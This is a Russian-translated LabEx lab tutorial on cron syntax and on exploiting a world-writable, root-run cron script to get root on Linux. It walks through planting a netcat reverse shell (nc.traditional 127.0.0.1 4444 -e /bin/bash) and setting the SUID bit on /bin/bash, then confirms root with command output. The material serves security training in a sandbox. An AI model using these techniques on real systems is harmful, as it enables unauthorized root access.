Изучите Cron Jobs и повышение привилегий в Nmap

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом практическом занятии (лабораторной работе) мы узнаем о Cron Jobs (задачах cron) и синтаксисе cron, а также, выполняя практические упражнения, вы быстро освоите использование crontab. Кроме того, мы поймем, как использовать неправильные настройки crontab для повышения привилегий на Linux.


Skills Graph

Понимание Cron Jobs и синтаксиса cron

В этом шаге мы познакомимся с Cron Jobs (задачами cron) и синтаксисом cron.

Cron Jobs - это "запланированные задачи" в системе Linux, обычно используемые для планирования выполнения команд, которые должны выполняться периодически, например, регулярные резервные копии данных или очистка кэша. Они называются Cron Jobs, потому что используют инструмент cron (crontab).

Cron Jobs - один из наиболее часто используемых инструментов для системных администраторов, и они сами по себе очень полезны. Однако, если "запланированные задачи" настроены на выполнение с более высокими привилегиями пользователя (например, от имени пользователя root), злоумышленники могут использовать их для повышения привилегий.

Команда crontab использует следующий синтаксис:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- День недели (0 - 7) (0 = воскресенье)
|    |    |    +---------- Месяц (1 - 12)
|    |    +--------------- День месяца (1 - 31)
|    +-------------------- Час (0 - 23)
+------------------------- Минуты (0 - 59)

Поле user является необязательным. Если оно не указано, команда или скрипт будут выполнены с привилегиями текущего пользователя.

Обратите внимание, что только пользователь root может указать выполнение команд или скриптов с привилегиями других пользователей.

Например, если мы хотим выводить журнал ошибок Apache каждый час, мы можем использовать следующую команду:

0 * * * * echo /var/log/lastlog

Поскольку hour (час), day (день), month (месяц) и week (неделя) все установлены в *, запланированная задача будет выполняться каждый раз, когда минута достигает 0, то есть каждый час.

Что делать, если нам нужно выполнить команду каждые два часа в 15 минут? Мы можем внести простое изменение:

15 */2 * * * echo /var/log/lastlog

Для того чтобы понять использование cron, давайте рассмотрим пример.

  1. Откройте терминал и перейдите в каталог /home/labex/project. Затем выполните следующую команду для инициализации лабораторной среды:

    ./env_setup1.sh

    После успешной инициализации вы увидите файл cleanup.py и каталог trashDirectory в домашнем каталоге пользователя labex. В каталоге trashDirectory находятся два файла: error.log и readme.txt.

    Цель нашей лабораторной работы следующая: Используйте crontab для добавления запланированной задачи, которая вызывает скрипт cleanup.py каждую минуту для очистки всех данных в каталоге /home/labex/project/trashDirectory. Скрипт cleanup.py просто вызывает системную команду rm с помощью функции os.system() для очистки каталога /home/labex/project/trashDirectory.

  2. Затем используйте следующую команду для добавления запланированной задачи в crontab:

    echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null

    Вышеуказанная команда добавляет запланированную задачу в файл crontab. Задача будет выполняться каждую минуту, и скрипт cleanup.py будет выполнен с привилегиями root.

  3. Поскольку служба cron отключена по умолчанию на нашей лабораторной машине, нам нужно вручную запустить ее с помощью следующей команды:

    sudo service cron start

    Ожидаемый вывод:

    * Starting periodic command scheduler cron

    Через примерно минуту, если мы войдем в каталог /home/labex/project/trashDirectory и используем команду ls, мы увидим, что данные в каталоге были очищены, что означает, что задача cron выполняется правильно.

Перезапись скриптов crontab для выполнения обратной оболочки (reverse shell)

В этом шаге мы узнаем, как повысить привилегии, перезаписывая скрипты, вызываемые crontab.

  1. Сначала откройте терминал и перейдите в каталог /home/labex/project. Затем выполните следующую команду для инициализации лабораторной среды:

    cd /home/labex/project

    Запустите скрипт для инициализации лабораторной среды:

    ./env_setup2.sh
  2. После успешной инициализации используйте следующую команду для просмотра запланированных задач на хосте:

    cat /etc/crontab

    Одна из запланированных задач в конце файла привлекла наше внимание: каждую минуту система выполняет скрипт /home/labex/project/cleanup.py от имени пользователя root, это тот же файл, который мы использовали на предыдущем шаге.

  3. Далее, проверим разрешения на скрипт:

    ls -al /home/labex/project/cleanup.py

    Мы заметили, что разрешения на файл cleanup.py установлены с риском: другие пользователи также имеют разрешение на запись (w), что означает, что мы можем редактировать и изменять содержимое cleanup.py!

  4. Поскольку cleanup.py выполняется с привилегиями root, мы можем использовать обратную оболочку (reverse shell) с привилегиями root.

    Используйте nc.traditional для получения обратной оболочки на локальный порт 4444, изменив скрипт cleanup.py:

    ...
    os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
    ...

    Сохраните файл, и изменения вступят в силу через минуту.

    Причина, по которой мы используем nc.traditional, заключается в том, что стандартная команда nc не поддерживает опцию -e.

  5. Затем выполните следующую команду для прослушивания локального порта 4444:

    nc -lnvp 4444

    Ожидаемый вывод:

    Listening on 0.0.0.0 4444

    После некоторого ожидания мы успешно получили обратную оболочку с привилегиями root.

    Connection received on 127.0.0.1 45480

    Попробуйте выполнить команду whoami для проверки текущего пользователя:

    whoami
    root

Перезапись скриптов crontab для установки SUID-бита у bash

Вы помните о повышении привилегий с использованием SUID (set user ID), о котором мы говорили ранее? Мы также можем использовать скрипт cleanup.py для изменения разрешений определенных исполняемых файлов таким образом, чтобы они имели установленный SUID-бит, что позволит нам использовать их для повышения привилегий с помощью SUID, например, установить SUID-бит для bash.

После предыдущего шага вы, возможно, все еще находитесь в оболочке root. Для этого шага вам нужно выйти из оболочки root и снова войти как пользователь labex, выполнив следующую команду:

exit

Или вы можете открыть новый терминал и войти как пользователь labex.

Затем выполните следующую команду, чтобы перейти в каталог /home/labex/project:

cd /home/labex/project
  1. В настоящее время у /bin/bash SUID-бит не установлен:

    ls -l /bin/bash
  2. Подобно предыдущему шагу, измените команду, выполняемую скриптом cleanup.py, на следующую:

    ...
    os.system("chmod +s /bin/bash")
    ...
  3. Через некоторое время, если мы проверим /bin/bash, мы увидим, что теперь у него установлен SUID-бит, что означает, что запланированная задача была успешно выполнена:

    ls -l /bin/bash

    Ожидаемый вывод:

    -rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash

    Как показано выше, теперь мы можем использовать bash -p для получения привилегий root.

    labex:project/ $ bash -p
    bash-5.1## whoami
    root
  4. Создайте файл с именем success.txt в каталоге /root, чтобы показать, что вы успешно повысили привилегии:

    echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt

Итог

В этом практическом занятии (лабораторной работе) мы узнали о Cron Jobs (задачах cron), синтаксисе cron и овладели использованием crontab, выполняя практические упражнения. В конце мы воспользовались неправильной настройкой crontab и успешно повысили привилегии своей оболочки до привилегий root.